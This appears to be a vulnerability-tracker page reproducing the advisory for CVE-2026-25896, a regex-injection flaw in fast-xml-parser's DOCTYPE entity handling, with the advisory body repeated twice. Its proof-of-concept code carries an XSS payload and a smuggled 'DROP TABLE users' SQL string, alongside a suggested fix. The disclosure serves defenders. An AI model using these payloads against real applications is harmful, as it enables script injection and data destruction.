Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
9.3
Fast-XML-Parser: Entity Name Regex Injection via Period Allows XSS
CVE-2026-25896
GHSA-m7jm-9gc2-mpf2
Summary
An attacker can use a specially crafted XML file to bypass security checks and inject malicious code into the parsed output, potentially leading to cross-site scripting attacks. This issue affects the fast-xml-parser library and its variants. To mitigate the risk, update to the latest version of fast-xml-parser that includes the fix for this vulnerability.
What to do
- Update amitgupta fast-xml-parser to version 5.3.5.
- Update amitgupta fast-xml-parser to version 4.5.4.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| amitgupta | fast-xml-parser | > 5.0.0 , <= 5.3.5 | 5.3.5 |
| amitgupta | fast-xml-parser | > 4.1.3 , <= 4.5.4 | 4.5.4 |
| naturalintelligence | fast-xml-parser | > 4.1.3 , <= 5.3.5 | – |
Original title
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
Original description
# Entity encoding bypass via regex injection in DOCTYPE entity names
## Summary
A dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`<`, `>`, `&`, `"`, `'`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.
## Details
The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.
In `DocTypeReader.js`, entity names are passed directly to `RegExp()`:
```js
entities[entityName] = {
regx: RegExp(`&${entityName};`, "g"),
val: val
};
```
An entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `<`. Since DOCTYPE entities are replaced before built-in entities, this shadows `<` entirely.
The same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:
```js
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot
```
## Shadowing all 5 built-in entities
| Entity name | Regex created | Shadows |
|---|---|---|
| `l.` | `/&l.;/g` | `<` |
| `g.` | `/&g.;/g` | `>` |
| `am.` | `/&am.;/g` | `&` |
| `quo.` | `/&quo.;/g` | `"` |
| `apo.` | `/&apo.;/g` | `'` |
## PoC
```js
const { XMLParser } = require("fast-xml-parser");
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
<text>Hello <b>World</b></text>
</root>`;
const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
```
No special parser options needed - `processEntities: true` is the default.
When an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `<img onerror>` fires.
`&` can be shadowed too:
```js
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&Brien'</root>`;
const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
```
## Impact
This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.
- Default config, no special options
- Attacker can replace any `<` / `>` / `&` / `"` / `'` with arbitrary strings
- Direct XSS vector when parsed XML content is rendered in a page
- v5 and v6 both affected
## Suggested fix
Escape regex metacharacters before constructing the replacement regex:
```js
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
regx: RegExp(`&${escaped};`, "g"),
val: val
};
```
For v6, add `.` to the blacklist in `validateEntityName`:
```js
const specialChar = "!?\\/[].{}^&*()<>|+";
```
## Severity
**CWE-185** (Incorrect Regular Expression)
**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**
Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.
## Summary
A dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`<`, `>`, `&`, `"`, `'`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.
## Details
The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.
In `DocTypeReader.js`, entity names are passed directly to `RegExp()`:
```js
entities[entityName] = {
regx: RegExp(`&${entityName};`, "g"),
val: val
};
```
An entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `<`. Since DOCTYPE entities are replaced before built-in entities, this shadows `<` entirely.
The same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:
```js
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot
```
## Shadowing all 5 built-in entities
| Entity name | Regex created | Shadows |
|---|---|---|
| `l.` | `/&l.;/g` | `<` |
| `g.` | `/&g.;/g` | `>` |
| `am.` | `/&am.;/g` | `&` |
| `quo.` | `/&quo.;/g` | `"` |
| `apo.` | `/&apo.;/g` | `'` |
## PoC
```js
const { XMLParser } = require("fast-xml-parser");
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
<text>Hello <b>World</b></text>
</root>`;
const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
```
No special parser options needed - `processEntities: true` is the default.
When an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `<img onerror>` fires.
`&` can be shadowed too:
```js
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&Brien'</root>`;
const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
```
## Impact
This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.
- Default config, no special options
- Attacker can replace any `<` / `>` / `&` / `"` / `'` with arbitrary strings
- Direct XSS vector when parsed XML content is rendered in a page
- v5 and v6 both affected
## Suggested fix
Escape regex metacharacters before constructing the replacement regex:
```js
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
regx: RegExp(`&${escaped};`, "g"),
val: val
};
```
For v6, add `.` to the blacklist in `validateEntityName`:
```js
const specialChar = "!?\\/[].{}^&*()<>|+";
```
## Severity
**CWE-185** (Incorrect Regular Expression)
**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**
Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.
nvd CVSS3.1
9.3
Vulnerability type
CWE-185
- https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-... Exploit Mitigation Vendor Advisory
- https://nvd.nist.gov/vuln/detail/CVE-2026-25896
- https://github.com/advisories/GHSA-m7jm-9gc2-mpf2
- https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e7... Patch
- https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb... Patch
- https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.5 Product Release Notes
Published: 20 Feb 2026 · Updated: 12 Mar 2026 · First seen: 6 Mar 2026